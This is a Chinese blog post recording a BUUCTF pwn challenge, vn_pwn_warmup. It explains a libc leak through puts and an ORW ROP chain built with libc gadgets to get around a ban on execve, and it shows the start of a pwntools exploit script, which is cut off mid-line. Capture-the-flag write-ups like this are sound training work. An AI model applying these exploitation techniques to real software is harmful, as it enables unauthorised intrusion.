buuctf刷题记录(一)

这篇博客记录了作者在buuctf刷题过程中的经验,涉及了多个pwn题目,包括vn_pwn_warmup、others_babystack和vn_pwn babypwn1等。在面对开启NX和PIE保护,以及execve禁用的情况,作者学习了如何利用orw技巧和ROP链来实现shell的获取。在vn_pwn_warmup中,通过puts地址获取libc基址,并利用bss段的pop_di gadget;在others_babystack中,利用栈溢出和puts泄露信息;在vn_pwn babypwn1中,利用srop和libc的bss段进行栈迁移。
摘要由CSDN通过智能技术生成

vn_pwn_warmup

在这里插入图片描述
开了nx和pie
在这里插入图片描述
这里给了puts的地址,可以得到libc的基地址
在这里插入图片描述
只有这里有个溢出点能溢出0x10个字节
原本的想法是直接用one_gadget来获得shell
但是一直都打不通,由于开了pie也没法本地调试
后来看了大佬的题解,才知道这个题禁用了execve。现在也不知道从哪里看出来的。
对于这种禁用execve或者没法使用system直接getshell的题。
我们可以使用orw来做。
可以把paylaod写到这里
在这里插入图片描述
然后在跳到这里执行
但是这个题没法用题目文件里的rop_gadget,看了题解才知道原来 libc库里有我们需要的bss,pop_di。用ROPgadget --binary libc --only ‘pop|ret’ | grep ‘rdi’ 和 readelf -S libc | grep “.bss”获取。
get到一个新的知识点。

所以先用read写入flag到bss段,然后orw打印flag
在第一个rop结束之后,栈正好恢复到上一个函数,因此可以继续执行rop

exp

#coding:utf-8
from pwn import*
context(log_level = 'debug')
io = remote ('node3.buuoj.cn',28559)
#io = process('/media/psf/CTF/vn_pwn_warmup')
elf = ELF('/media/psf/CTF/vn_pwn_warmup')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/media/psf/CTF/libc/1664libc-2.23.so')
io.recvuntil("0x")

puts_addr=int(io.recv(12),16)
libc_base=puts_addr-libc.sym['puts']
print hex(libc_base
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值